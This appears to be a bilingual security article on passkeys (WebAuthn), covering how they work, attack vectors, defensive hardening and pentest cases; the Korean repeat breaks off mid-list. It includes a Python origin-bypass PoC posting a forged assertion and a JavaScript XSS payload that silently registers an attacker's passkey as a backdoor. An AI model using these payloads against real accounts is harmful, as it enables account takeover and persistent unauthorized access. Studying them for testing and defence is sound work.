Passkey
Definition and Concept of Passkeys
Passkeys are a passwordless login method based on the FIDO2/WebAuthn standards led by the FIDO Alliance and W3C. Technically, they refer to Multi-Device FIDO Credentials.
While traditional FIDO authentication (like YubiKey) was a “Device-Bound” method dependent on specific hardware, Passkeys are an extended concept that allows the Private Key to be synchronized across multiple devices via the cloud (iCloud Keychain, Google Password Manager). Users access the Secure Enclave/TPM of their local device using biometrics (FaceID, TouchID) or device unlock methods (PIN), and the device authenticates to the server by signing with the stored private key.
The core is Public Key Cryptography. Only the Public Key is stored on the server, and the secret value (Private Key) is never transmitted to the server. This means that even if the server is hacked, there is no risk of the user credentials themselves being compromised.
Working Principle (WebAuthn Flow)
The Passkey authentication process is largely divided into two stages: Registration and Authentication. This process involves communication between the Relying Party (RP, web server), Client (Browser/OS), and Authenticator (authentication device).
1. Registration
- User Request: The user requests to create a Passkey.
- Challenge Generation: The server (RP) generates a random Challenge, user information, and RP information to prevent replay attacks and sends them to the client.
- User Verification: The client (OS/Browser) requires the user to input biometrics or a PIN (User Verification).
- Key Pair Generation: Upon successful authentication, the Authenticator generates a new asymmetric key pair (Public/Private Key).
- Signing and Transmission: The Authenticator signs the Challenge (Attestation) and transmits the Public Key and signature data to the server.
- Storage: The server verifies the signature and stores the Public Key and Credential ID in the database.
2. Authentication
- Login Request: The user attempts to log in.
- Challenge Issuance: The server sends a list of registered Credential IDs and a new Challenge to the client.
- Private Key Access: Once the user passes biometric authentication, the Authenticator loads the Private Key corresponding to the specific domain (RP ID).
- Assertion Generation: The Authenticator signs the Challenge and Client Data (Origin, Type, etc.) with the Private Key to generate an Assertion.
- Verification: The server verifies the signature using the stored Public Key. If the signature is valid and the Challenge and Origin match, the login is approved.
Pros and Cons Analysis Compared to Traditional Methods
Advantages
- Phishing Resistant: The WebAuthn protocol enforces Domain Binding. A Passkey for
google.comwill absolutely not work onevil-google.com. This fundamentally blocks Adversary-in-the-Middle (AiTM) attacks. - Server-Side Leak Safety: Since only the Public Key is stored on the server, attackers cannot do anything even if the DB dump is leaked. Salt or Hash processing is unnecessary.
- User Experience (UX): Users can log in with just biometrics without needing to remember complex password rules.
Disadvantages and Limitations
- Platform Dependency (Vendor Lock-in): Sharing Passkeys between the Apple ecosystem (iCloud) and Google/Android ecosystem is not yet perfectly seamless. Moving Cross-Platform involves the inconvenience of scanning a QR code. The technology behind this QR code is called FIDO Hybrid Flow (caBLE), which uses Bluetooth to verify proximity to prevent remote attacks. This process involves signing, not key migration; for UX, a procedure is usually followed to register a new key on the new device after signing via this flow.
- Weakening of Attestation: To protect privacy, Passkeys often use anonymous attestation (None/Self Attestation) or allow device synchronization, making it difficult for enterprises to be strongly guaranteed that the key was “generated in a specific Hardware Security Module (HSM).”
- Endpoint Security Dependence: Defenses are difficult if the device itself is infected with malware and the session is hijacked, or if an attacker gains physical access to unlock the device.
Offensive Perspective: Attack Vectors and Pentest Strategies
From the perspective of an offensive security engineer, breaking the cryptographic structure of the Passkey itself is nearly impossible. Therefore, attacks must focus on Implementation Faults, Downgrade Inducement, and Endpoint Compromise.
1. WebAuthn Implementation Faults and Browser Manipulation
This involves scenarios where developers misuse WebAuthn libraries, creating holes in server-side verification logic, or manipulating the browser environment.
- Origin Validation Bypass: A vulnerability where the server does not strictly compare the
originfield inclientDataJSONwith the currently connected domain. An attacker captures a signature packet obtained from their domain (evil.com) and replays it to the target server’s (victim.com) API. - Malicious Extensions/Browser Manipulation: Browser extensions can have DOM control privileges. As demonstrated by the SquareX research team at DEF CON, malicious extensions can intercept the WebAuthn process or manipulate
clientDataJSONto secretly register an attacker’s key. - Challenge Replay: If the server does not expire a Challenge once used, or verifies only the signature without validating the Challenge value, it is exposed to replay attacks.
2. MFA Downgrade and Fallback Attacks
No matter how strong a Passkey is, it is useless if the fallback method is vulnerable. Attackers induce users not to use Passkeys.
- MFA Downgrade Attack: Using AiTM (Adversary-in-the-Middle) proxy tools like Evilginx to capture sessions. Attackers use Phishlets to intercept the user’s Passkey request and forcibly expose buttons inducing vulnerable methods like “Use Password” or “SMS Authentication”.
- Fallback Exploitation: Intentionally blocking the Passkey flow (DoS) or causing errors on the login page to force users to log in with existing passwords, followed by Credential Stuffing.
3. Endpoint and Infrastructure Attacks (Post-Exploitation)
Passkeys are a means of Authentication, not Authorization or session maintenance. This assumes the endpoint is compromised.
- Attacker-Registered Passkey (Persistence): If user privileges are gained even momentarily via XSS or session hijacking, the attacker registers their device as a ‘new Passkey’ on the victim’s account. This acts as a permanent backdoor.
- Cloud Sync & Recovery Abuse: Targeting the synchronization mechanisms of iCloud Keychain or Google Password Manager. If a user uses a weak PIN for their cloud account or the device is compromised, the “Add New Passkey” prompt can be spoofed to include the attacker’s key in the sync fabric.
- Local Authenticator Hijacking: Using malware with root privileges to bypass the TEE (Trusted Execution Environment) or abusing Accessibility APIs to auto-approve Passkey prompts.
[Attack Example: Python Script Targeting Vulnerable Verification Logic] This is a PoC code testing a vulnerability where the server does not check the Origin. If the Origin is not checked, the attacker lures the victim to a phishing site, then proceeds with the authentication process on the real server. At that time, the attacker forwards the challenge received from the server to the victim’s browser. When the victim performs fingerprint/face authentication, the browser signs the data containing the address of the phishing site currently being accessed. Consequently, the attacker obtains the login session. Afterwards, the attacker can also add a new passkey as a follow-up action to the login session.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import json
import base64
# Target server's authentication verification endpoint
TARGET_URL = "https://vulnerable-app.com/api/webauthn/verify"
# Normal WebAuthn response data obtained from the attacker's domain (evil.com)
# clientDataJSON contains "origin": "https://evil.com"
payload = {
"id": "credential_id_base64",
"rawId": "raw_id_base64",
"response": {
"authenticatorData": "auth_data_base64",
"clientDataJSON": base64.b64encode(json.dumps({
"type": "webauthn.get",
"challenge": "server_challenge_base64",
"origin": "https://evil.com", # Vulnerable if the server doesn't verify this
"crossOrigin": False
}).encode()).decode('utf-8'),
"signature": "signature_data_base64",
"userHandle": "user_handle_base64"
},
"type": "public-key"
}
# Send request
response = requests.post(TARGET_URL, json=payload)
if response.status_code == 200 and "success" in response.text:
print("[!] VULNERABLE: Server accepted assertion from wrong origin!")
else:
print("[-] Secure or failed: Server rejected the request.")
Defensive Perspective: Security Hardening and Defense Strategies
Defenders must use standard libraries when implementing Passkeys, strictly handle exceptions, and monitor the entire lifecycle. The security of the cloud synchronization itself where Passkeys move is delegated to platform providers like Apple/Google/MS.
1. Strict Server-Side Validation
Do not implement cryptographic verification logic yourself; use verified libraries (Python’s py_webauthn, Go’s webauthn, etc.).
- Challenge Matching: Ensure the issued Challenge and the received Challenge match exactly and adhere to the One-time use principle.
- Origin Whitelisting: String comparison to ensure
clientDataJSON.originmatches the server’s expected domain exactly (e.g.,https://myapp.com). - RP ID Hash: Verify the RP ID Hash within
authenticatorData. - Attestation Check: For enterprise environments, verify the
attestationfield to block the registration of software-based keys instead of hardware security keys (YubiKey, etc.), or enforcerequireResidentKeyand CTAP2 PIN to increase security levels.
2. Prevention of Downgrade and Policy Reinforcement
Attempts by attackers to bypass Passkeys must be blocked.
- Strong WebAuthn Options: Use
userVerification: required(biometric/PIN mandatory) andauthenticatorAttachment: platform(force platform authenticator) options to increase security. - Minimize Fallback: For accounts with Passkeys enabled, disable existing password logins or enforce additional 2FA when using passwords to reduce the utility of downgrade attacks. Policies that enforce Passkeys as the primary authentication method, like Okta or Google, are necessary.
3. Monitoring and Anomaly Detection
Integrate with SIEM to detect abnormal Passkey usage patterns.
- Registration Behavior Analysis: If Passkeys are registered on multiple devices within a short period, or “Add New Passkey” occurs from an unusual geolocation, an alert should be raised, and manual review performed.
- Signature Counter Check: For single-device authenticators, if the
sign_countdecreases or stagnates, it may indicate a cloned key and should be blocked. (Note: Multi-device Passkeys may have a counter of 0, so caution is needed).
4. Re-authentication for Sensitive Actions and Recovery Security
- Step-up Authentication: Passkey re-authentication must be required for fund transfers, password changes, and registering new Passkeys.
- Recovery Hardening: Avoid recovery procedures that neutralize Passkeys with just an email link, and prepare a server-side Kill Switch to immediately invalidate the key upon loss. Recommend users use E2EE and strong PINs (6+ digits) for cloud sync protection.
[Defense Example: Correct Verification Using Python py_webauthn Library]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from webauthn import verify_authentication_response
from webauthn.helpers import base64url_to_bytes
def verify_passkey_login(request_data, stored_credential, expected_challenge):
try:
authentication_verification = verify_authentication_response(
credential=request_data,
expected_challenge=base64url_to_bytes(expected_challenge),
expected_rp_id='myapp.com', # Important: Specify expected RP ID
expected_origin='https://myapp.com', # Important: Specify expected Origin
credential_public_key=base64url_to_bytes(stored_credential.public_key),
credential_current_sign_count=stored_credential.sign_count,
require_user_verification=True # Require biometrics/PIN
)
# Update signature count upon successful verification
update_credential_counter(authentication_verification.new_sign_count)
return True
except Exception as e:
print(f"Authentication failed: {e}")
return False
Pentest Premises and Key Verification Items
Attacking the public key cryptography itself, which is the core of WebAuthn, is inefficient. Instead, the attack surface exists in the data exchange and state management between the server and client. Key verification items are as follows:
- Fallback and Downgrade: Whether it can be bypassed using passwords or vulnerable MFA methods other than Passkeys.
- Server-Side Verification Logic: Integrity verification of Origin, Challenge, and Counter values.
- Backdoor Creation in Session: Whether an attacker can register their Passkey to the victim’s account during Session Hijacking or XSS.
- Visibility and Audit: Logging and notification systems for sensitive Passkey registration/deletion activities.
Burp Suite is used as a tool to capture and manipulate WebAuthn-related JSON data between the browser and server.
1. WebAuthn Traffic Analysis and Identification
WebAuthn communication is mainly divided into two stages. You must be able to identify key parameters exchanged at each stage and filter them in Burp History.
Registration (Attestation) Phase
- Endpoint Examples:
/webauthn/register,/webauthn/attestation - Server → Client:
challenge,rpId,user.id,pubKeyCredParams - Client → Server:
id,rawId,response.attestationObject,response.clientDataJSON
Authentication (Assertion) Phase
- Endpoint Examples:
/webauthn/authenticate,/webauthn/assertion - Server → Client:
challenge,allowCredentials - Client → Server:
id,rawId,response.authenticatorData,response.signature,response.userHandle
Understanding this data structure and manipulating parameters via Burp Repeater to observe the server’s response is the start of testing.
2. Detailed Test Cases by Scenario
Case 1: Fallback and Downgrade Attack
Even if an account has Passkeys applied, if the system allows fallback to password login or vulnerable authentication methods too easily, the security of Passkeys is neutralized.
- Test Method:
- Intercept the login request and analyze the server response. Check if a password input form is sent along with the Passkey option.
- Manipulate URL parameters (e.g.,
?method=password,?login_type=legacy) to attempt a forced redirect to the password login page. - Manipulate frontend code (JS/HTML) to activate hidden password input fields and attempt login.
- Vulnerability Judgment: If a user with a registered Passkey can downgrade to ID/PW-based login without significant restrictions, it means they are still exposed to Credential Stuffing or traditional phishing attacks.
Case 2: WebAuthn Flow Manipulation (Replay & Origin)
Detect cases where the server does not properly verify signature data received from the client.
Assertion Replay
- Test Method: Capture a normal WebAuthn login request and re-transmit (Replay) the same request from a different session or at a different time.
- Vulnerability Judgment: If the server permits authentication without verifying the one-time nature of the
challengeor thesignCount(counter), it is a severe vulnerability.
Origin and RP ID Manipulation
- Test Method:
- Base64 decode the
response.clientDataJSONvalue within the authentication request. - Modify the
originvalue within the JSON to an attacker domain (e.g.,https://evil.example.com). - Base64 encode it again and transmit the request.
- Base64 decode the
- Vulnerability Judgment: If the server allows the manipulated Origin, the Domain Binding (phishing resistance), which is the core security feature of Passkeys, is not properly implemented.
Case 3: Backdoor Passkey Registration via Session Hijacking
This is a scenario where an attacker, having obtained the victim’s valid session via XSS or Session Hijacking, attempts to register the attacker’s device as a ‘new Passkey’ to gain permanent access rights.
Session Hijacking Based Registration
- Test Method: Steal the victim’s session cookie and inject it into the attacker’s browser. Then, access the ‘Passkey Management’ page and attempt to register the attacker’s device as a new Passkey.
- Vulnerability Judgment: If registration is completed without additional authentication (Re-authentication) procedures such as password re-entry or existing Passkey authentication, it is considered vulnerable.
XSS Based Automated Registration PoC
If an XSS vulnerability exists and WebAuthn API calls are possible on that domain, it is possible to minimize user interaction or trick them into registering the attacker’s Passkey.
The following is a Proof of Concept (PoC) code that triggers the WebAuthn registration flow in an XSS situation.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// XSS PoC: Automatically trigger Passkey registration flow
(async () => {
try {
// 1. Request WebAuthn registration options from the server
// Actual endpoint and parameters need to be adjusted for the target service
const optionsRes = await fetch('/webauthn/register/options', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ /* include user identifier etc if needed */ })
});
if (!optionsRes.ok) return;
let publicKey = await optionsRes.json();
// 2. Utility function to convert Base64URL to ArrayBuffer
const b64urlToArrayBuffer = (b64url) => {
const pad = '='.repeat((4 - b64url.length % 4) % 4);
const b64 = (b64url + pad).replace(/-/g, '+').replace(/_/g, '/');
const raw = atob(b64);
const buffer = new ArrayBuffer(raw.length);
const view = new Uint8Array(buffer);
for (let i = 0; i < raw.length; ++i) {
view[i] = raw.charCodeAt(i);
}
return buffer;
};
// Convert Challenge and ID
publicKey.challenge = b64urlToArrayBuffer(publicKey.challenge);
if (publicKey.user && publicKey.user.id) {
publicKey.user.id = b64urlToArrayBuffer(publicKey.user.id);
}
// 3. Call Browser WebAuthn API (Display registration popup to user)
// Attackers can induce clicks via social engineering or overlay the UI
const credential = await navigator.credentials.create({ publicKey });
// 4. Transmit the created Credential to the server to complete registration
const credentialToJSON = (cred) => {
const abToB64url = (buf) => {
const bytes = new Uint8Array(buf);
let str = '';
for (let i = 0; i < bytes.length; ++i) {
str += String.fromCharCode(bytes[i]);
}
return btoa(str).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
};
return {
id: cred.id,
rawId: abToB64url(cred.rawId),
type: cred.type,
response: {
attestationObject: abToB64url(cred.response.attestationObject),
clientDataJSON: abToB64url(cred.response.clientDataJSON)
}
};
};
await fetch('/webauthn/register/finish', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(credentialToJSON(credential))
});
console.log("Backdoor Passkey Registered");
} catch (e) {
console.error("Registration failed or cancelled", e);
}
})();
This code calls navigator.credentials.create() to launch the browser’s Passkey registration window. If the server does not verify the CSRF token at the registration stage or require re-authentication, this request is processed successfully, creating an access channel for the attacker.
Case 4: Session Management and Privilege Verification
Regardless of Passkey adoption, basic web security principles must be observed.
- Session Cookie Settings: Check if
Secure,HttpOnly, andSameSiteattributes are properly set. - CSRF Defense: CSRF token verification must be mandatorily applied to Passkey registration and deletion requests.
- Forced Re-authentication: High-risk operations such as Passkey registration, deletion, and account recovery setting changes must require the current user’s credentials (Passkey or password) again.
Case 5: Logging and Monitoring System
Check the detection system prepared for when technical defenses are breached.
- Notification Dispatch: Verify if an immediate notification is sent to the user via registered email or app push when a new Passkey is registered.
- Security Logs: Check if IP address, User-Agent, device information, time, etc., are logged in detail during Passkey registration.
- Anomaly Detection: Test if blocking or warnings occur when multiple Passkeys are registered within a short time or registration attempts occur from heterogeneous locations.
Pentesting in a Passkey environment should focus on logical attacks probing flaws in the authentication process, not cryptographic attacks. In particular, “Backdoor Passkey Registration” is a powerful attack vector ensuring persistence of account takeover, so defensive logic against it (Re-authentication, Notifications) must be verified as a top priority.
Passkey의 정의 및 개념
Passkey는 FIDO Alliance와 W3C가 주도하는 FIDO2/WebAuthn 표준을 기반으로 한 비밀번호 없는(Passwordless) 로그인 방식입니다. 기술적으로는 Multi-Device FIDO Credentials를 의미합니다.
기존의 FIDO 인증(YubiKey 등)이 하드웨어에 종속된 ‘Device-Bound’ 방식이었다면, Passkey는 클라우드(iCloud Keychain, Google Password Manager)를 통해 개인 키(Private Key)를 여러 기기 간에 동기화할 수 있게 만든 확장 개념입니다. 사용자는 생체 인식(FaceID, TouchID)이나 기기 잠금 해제(PIN)를 통해 로컬 기기의 Secure Enclave/TPM에 접근하고, 기기는 저장된 개인 키로 서명하여 서버에 인증합니다.
핵심은 공개 키 암호화(Public Key Cryptography)입니다. 서버에는 오직 공개 키(Public Key)만 저장되며, 비밀 값(Private Key)은 서버로 전송되지 않습니다. 이는 서버가 해킹당해도 사용자 자격 증명(Credential) 자체가 유출될 위험이 없음을 의미합니다.
작동 원리 (WebAuthn Flow)
Passkey 인증 프로세스는 크게 등록(Registration)과 인증(Authentication) 두 단계로 나뉩니다. 이 과정은 Relying Party(RP, 웹 서버), Client(브라우저/OS), Authenticator(인증 장치) 간의 통신으로 이루어집니다.
1. 등록 (Registration)
- 사용자 요청: 사용자가 Passkey 생성을 요청합니다.
- Challenge 생성: 서버(RP)는 재전송 공격 방지를 위해 랜덤한 Challenge와 사용자 정보, RP 정보를 생성하여 클라이언트로 보냅니다.
- 사용자 검증: 클라이언트(OS/브라우저)는 사용자에게 생체 인식 또는 PIN 입력을 요구합니다(User Verification).
- 키 쌍 생성: 인증 성공 시, Authenticator는 새로운 비대칭 키 쌍(Public/Private Key)을 생성합니다.
- 서명 및 전송: Authenticator는 Challenge에 서명(Attestation)하고, 공개 키와 서명 데이터를 서버로 전송합니다.
- 저장: 서버는 서명을 검증하고 공개 키와 Credential ID를 데이터베이스에 저장합니다.
2. 인증 (Authentication)
- 로그인 요청: 사용자가 로그인을 시도합니다.
- Challenge 발송: 서버는 등록된 Credential ID 목록과 새로운 Challenge를 클라이언트로 보냅니다.
- 개인 키 접근: 사용자가 생체 인식을 통과하면, Authenticator는 해당 도메인(RP ID)에 맞는 개인 키를 로드합니다.
- Assertion 생성: Authenticator는 Challenge와 Client Data(Origin, Type 등)를 개인 키로 서명하여 Assertion을 생성합니다.
- 검증: 서버는 저장된 공개 키를 사용하여 서명을 검증합니다. 서명이 유효하고, Challenge와 Origin이 일치하면 로그인을 승인합니다.
기존 방식 대비 장단점 분석
장점
- 피싱 저항성 (Phishing Resistant): WebAuthn 프로토콜은 도메인 바인딩(Domain Binding)을 강제합니다.
google.com용 Passkey는evil-google.com에서 절대 작동하지 않습니다. 이는 Adversary-in-the-Middle (AiTM) 공격을 원천적으로 차단합니다. - 서버 측 유출 안전성: 서버에는 공개 키만 저장되므로, DB 덤프가 유출되어도 공격자는 아무것도 할 수 없습니다. Salt나 Hash 처리가 불필요합니다.
- 사용자 경험 (UX): 복잡한 비밀번호 규칙을 기억할 필요 없이 생체 인식만으로 로그인이 가능합니다.
단점 및 한계
- 플랫폼 종속성 (Vendor Lock-in): Apple 생태계(iCloud)와 Google/Android 생태계 간의 Passkey 공유가 아직 완벽히 매끄럽지 않습니다. Cross-Platform 이동 시 QR 코드를 스캔해야 하는 불편함이 있습니다. 이 QR 코드의 기술을 FIDO Hybrid Flow (caBLE) 라고 부르며 블루투스를 이용해 근접한 기기에서 벌어지며 원격 공격을 방어하기 위함입니다. 이 과정에서는 서명만 관련하고 키 이동은 아니고 사용자 경험을 위해 다른 플랫폼에 이 과정을 통해 서명 이후 새로운 키를 해당 기기에 다시 등록하는 절차를 거칩니다.
- 증명(Attestation)의 약화: Passkey는 개인 정보 보호를 위해 대부분의 경우 익명 증명(None/Self Attestation)을 사용하거나, 기기 간 동기화를 허용하므로 기업 입장에서 “특정 하드웨어 보안 모듈(HSM)에서 생성되었음”을 강력하게 보장받기 어렵습니다.
- 엔드포인트 보안 의존: 기기 자체가 멀웨어에 감염되어 세션이 탈취되거나, 공격자가 기기 잠금을 해제할 수 있는 물리적 접근 권한을 얻으면 방어가 어렵습니다.
오펜시브 관점: 공격 벡터 및 펜테스트 전략
오펜시브 시큐리티 엔지니어 입장에서 Passkey 자체의 암호학적 구조를 깨는 것은 불가능에 가깝습니다. 따라서 공격은 구현상의 실수(Implementation Faults), 다운그레이드 유도, 엔드포인트 장악에 집중해야 합니다.
1. WebAuthn 구현 결함 및 브라우저 조작
개발자가 WebAuthn 라이브러리를 잘못 사용하여 서버 측 검증 로직에 구멍을 만들거나, 브라우저 환경을 조작하는 방식입니다.
- Origin Validation Bypass: 서버가
clientDataJSON내의origin필드를 현재 접속된 도메인과 엄격하게 비교하지 않는 취약점입니다. 공격자는 자신의 도메인(evil.com)에서 획득한 서명 패킷을 캡처하여 타겟 서버(victim.com)의 API로 재전송(Replay)합니다. - 악성 확장 프로그램/브라우저 조작 (Malicious Extensions): 브라우저 확장 프로그램은 DOM 제어 권한을 가질 수 있습니다. SquareX 연구팀이 DEF CON에서 시연한 것처럼, 악성 확장을 통해 WebAuthn 프로세스를 가로채거나
clientDataJSON을 조작하여 공격자의 키를 은밀하게 등록할 수 있습니다. - Challenge Replay: 서버가 한 번 사용된 Challenge를 만료시키지 않거나, Challenge 값을 검증하지 않고 서명만 확인하는 경우 재전송 공격에 노출됩니다.
2. MFA 다운그레이드 및 Fallback 공격
Passkey가 아무리 강력해도, 대체 수단(Fallback)이 취약하면 무용지물입니다. 공격자는 사용자가 Passkey를 쓰지 못하게 유도합니다.
- MFA Downgrade Attack: Evilginx와 같은 AiTM(Adversary-in-the-Middle) 프록시 도구를 사용하여 세션을 캡처합니다. 공격자는 Phishlet을 통해 사용자의 Passkey 요청을 가로채고, 강제로 “비밀번호 사용” 또는 “SMS 인증”과 같은 취약한 수단으로 유도하는 버튼을 노출시킵니다.
- Fallback Exploitation: 로그인 페이지에서 Passkey 흐름을 의도적으로 차단(DoS)하거나 에러를 유발하여, 사용자가 기존의 비밀번호로 로그인하도록 만든 후 Credential Stuffing을 수행합니다.
3. 엔드포인트 및 인프라 공격 (Post-Exploitation)
Passkey는 인증(Authentication) 수단이지, 인가(Authorization)나 세션 유지 수단이 아닙니다. 엔드포인트가 장악된 상황을 가정합니다.
- Attacker-Registered Passkey (Persistence): XSS나 세션 하이재킹으로 잠시라도 사용자 권한을 얻었다면, 공격자의 기기를 피해자 계정의 ‘새로운 Passkey’로 등록합니다. 이는 영구적인 백도어 역할을 합니다.
- Cloud Sync & Recovery Abuse: iCloud Keychain이나 Google Password Manager의 동기화 메커니즘을 노립니다. 사용자가 클라우드 계정에 약한 PIN을 사용하거나 디바이스가 탈취된 경우, “새 Passkey 추가” 프롬프트를 속여 공격자의 키를 동기화 패브릭에 포함시킬 수 있습니다.
- Local Authenticator Hijacking: 루트 권한을 가진 Malware를 통해 TEE(Trusted Execution Environment)를 우회하거나, 접근성 API(Accessibility API)를 악용하여 Passkey 승인 프롬프트를 자동으로 클릭(Auto-approve)하게 만듭니다.
[공격 예시: 취약한 검증 로직을 타겟으로 한 Python Script] 서버가 Origin을 체크하지 않는 취약점을 테스트하는 PoC 코드입니다. Origin을 체크하지 않게 된다면 공격자는 피해자를 피싱 사이트로 불러 들인다음 공격자가 진짜 서버에서 인증 과정을 진행하며 그 때 서버에서 받은 챌린지를 피해자 브라우저에게 전달하고 피해자가 지문/얼굴 인증을 수행하면 브라우저는 현재 접속 중인 피싱 사이트 주소를 담아 서명합니다. 그렇게 되면 공격자는 로그인 세션을 획득하게 되는 것입니다. 이후 공격자는 로그인 세션의 후속 작업으로 새로운 패스키 추가도 가능하게 됩니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import json
import base64
# 타겟 서버의 인증 검증 엔드포인트
TARGET_URL = "https://vulnerable-app.com/api/webauthn/verify"
# 공격자의 도메인(evil.com)에서 획득한 정상적인 WebAuthn 응답 데이터
# clientDataJSON에는 "origin": "https://evil.com"이 포함되어 있음
payload = {
"id": "credential_id_base64",
"rawId": "raw_id_base64",
"response": {
"authenticatorData": "auth_data_base64",
"clientDataJSON": base64.b64encode(json.dumps({
"type": "webauthn.get",
"challenge": "server_challenge_base64",
"origin": "https://evil.com", # 서버가 이 부분을 검증 안 하면 뚫림
"crossOrigin": False
}).encode()).decode('utf-8'),
"signature": "signature_data_base64",
"userHandle": "user_handle_base64"
},
"type": "public-key"
}
# 요청 전송
response = requests.post(TARGET_URL, json=payload)
if response.status_code == 200 and "success" in response.text:
print("[!] VULNERABLE: Server accepted assertion from wrong origin!")
else:
print("[-] Secure or failed: Server rejected the request.")
디펜시브 관점: 보안 강화 및 방어 전략
방어자는 Passkey 도입 시 표준 라이브러리를 사용하고, 예외 처리를 엄격히 해야 하며, 생명주기 전체를 모니터링해야 합니다. Passkey가 이동되는 클라우드 동기화 자체의 보안은 Apple/Google/MS 등 플랫폼 사업자에게 위임됩니다.
1. 엄격한 서버 사이드 검증 (Strict Server-Side Validation)
직접 암호화 검증 로직을 구현하지 말고, 검증된 라이브러리(Python의 py_webauthn, Go의 webauthn 등)를 사용하십시오.
- Challenge 일치 여부: 발급한 Challenge와 응답받은 Challenge의 정확한 일치 및 One-time use 원칙 준수.
- Origin Whitelisting:
clientDataJSON.origin이 서버의 예상 도메인(예:https://myapp.com)과 정확히 일치하는지 문자열 비교. - RP ID Hash:
authenticatorData내의 RP ID Hash 검증. - Attestation Check: 기업 환경(Enterprise)의 경우
attestation필드를 검증하여, 하드웨어 보안 키(YubiKey 등)가 아닌 소프트웨어 기반 키의 등록을 차단하거나,requireResidentKey및 CTAP2 PIN을 강제하여 보안 수준을 높일 수 있습니다.
2. 다운그레이드 방지 및 정책 강화
공격자가 Passkey를 우회하려는 시도를 차단해야 합니다.
- 강력한 WebAuthn 옵션:
userVerification: required(생체인식/PIN 필수)와authenticatorAttachment: platform(플랫폼 인증기 강제) 옵션을 사용하여 보안성을 높입니다. - Fallback 최소화: Passkey가 활성화된 계정은 기존 비밀번호 로그인을 비활성화하거나, 비밀번호 사용 시 추가적인 2FA를 강제하여 다운그레이드 공격의 효용을 떨어뜨려야 합니다. Okta나 Google처럼 Passkey를 최우선 인증 수단으로 강제하는 정책이 필요합니다.
3. 모니터링과 이상 징후 탐지 (Detection)
SIEM과 연동하여 비정상적인 Passkey 사용 패턴을 탐지해야 합니다.
- 등록 행위 분석: 짧은 시간 내에 다수의 기기에서 Passkey가 등록되거나, 평소와 다른 지리적 위치(Geolocation)에서 “새 Passkey 추가”가 발생할 경우 알림을 띄우고 수동 검토를 수행해야 합니다.
- 서명 카운터 확인: 단일 기기(Single-device) 인증기의 경우
sign_count가 감소하거나 정체된 경우 복제된(Cloned) 키일 가능성이 있으므로 차단해야 합니다. (단, 멀티 디바이스 Passkey는 카운터가 0일 수 있음을 유의)
4. 민감한 작업 재인증 및 복구 보안
- Step-up Authentication: 자금 이체, 비밀번호 변경, 새로운 Passkey 등록 시에는 반드시 Passkey 재인증을 요구해야 합니다.
- Recovery Hardening: 이메일 링크만으로 Passkey를 무력화하는 복구 절차를 지양하고, 서버 사이드 킬 스위치(Kill Switch)를 마련하여 분실 시 즉시 해당 키를 무효화할 수 있어야 합니다. 클라우드 싱크 보호를 위해 E2EE와 강력한 PIN(6자리 이상) 사용을 사용자에게 권장합니다.
[방어 예시: Python py_webauthn 라이브러리를 활용한 올바른 검증]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from webauthn import verify_authentication_response
from webauthn.helpers import base64url_to_bytes
def verify_passkey_login(request_data, stored_credential, expected_challenge):
try:
authentication_verification = verify_authentication_response(
credential=request_data,
expected_challenge=base64url_to_bytes(expected_challenge),
expected_rp_id='myapp.com', # 중요: 예상되는 RP ID 명시
expected_origin='https://myapp.com', # 중요: 예상되는 Origin 명시
credential_public_key=base64url_to_bytes(stored_credential.public_key),
credential_current_sign_count=stored_credential.sign_count,
require_user_verification=True # 생체 인식/PIN 필수 요구
)
# 검증 성공 시 서명 카운트 업데이트
update_credential_counter(authentication_verification.new_sign_count)
return True
except Exception as e:
print(f"Authentication failed: {e}")
return False
펜테스트 전제 및 핵심 검증 항목
WebAuthn의 핵심인 공개키 암호화 자체를 공격하는 것은 비효율적입니다. 대신, 공격 표면은 서버와 클라이언트 간의 데이터 교환 및 상태 관리에 존재합니다. 주요 검증 항목은 다음과 같습니다.
- 폴백 및 다운그레이드: 패스키 외에 비밀번호나 취약한 MFA 수단으로 우회할 수 있는지 여부
- 서버 측 검증 로직: Origin, Challenge, Counter 값에 대한 무결성 검증 수행 여부
- 세션 내 백도어 생성: 세션 하이재킹이나 XSS 발생 시, 공격자가 자신의 패스키를 피해자 계정에 등록할 수 있는지 여부
- 가시성 및 감사: 민감한 패스키 등록/삭제 행위에 대한 로깅 및 알림 체계
Burp Suite는 브라우저와 서버 간의 WebAuthn 관련 JSON 데이터를 캡처하고 조작하는 도구로 활용됩니다.
1. WebAuthn 트래픽 분석 및 식별
WebAuthn 통신은 주로 두 가지 단계로 나뉩니다. 각 단계에서 주고받는 핵심 파라미터를 식별하고 Burp History에서 필터링할 수 있어야 합니다.
등록(Attestation) 단계
- 엔드포인트 예시:
/webauthn/register,/webauthn/attestation - 서버 → 클라이언트:
challenge,rpId,user.id,pubKeyCredParams - 클라이언트 → 서버:
id,rawId,response.attestationObject,response.clientDataJSON
인증(Assertion) 단계
- 엔드포인트 예시:
/webauthn/authenticate,/webauthn/assertion - 서버 → 클라이언트:
challenge,allowCredentials - 클라이언트 → 서버:
id,rawId,response.authenticatorData,response.signature,response.userHandle
이 데이터 구조를 이해하고, Burp Repeater를 통해 파라미터를 조작하며 서버의 반응을 살피는 것이 테스트의 시작입니다.
2. 시나리오별 상세 테스트 케이스
케이스 1: 폴백(Fallback) 및 다운그레이드 공격
패스키가 적용된 계정이라 하더라도, 시스템이 비밀번호 로그인이나 취약한 인증 수단으로의 폴백을 너무 쉽게 허용한다면 패스키의 보안성은 무력화됩니다.
- 테스트 방법:
- 로그인 요청을 가로채어 서버 응답을 분석합니다. 패스키 옵션과 함께 비밀번호 입력 폼이 동시에 전송되는지 확인합니다.
- URL 파라미터(예:
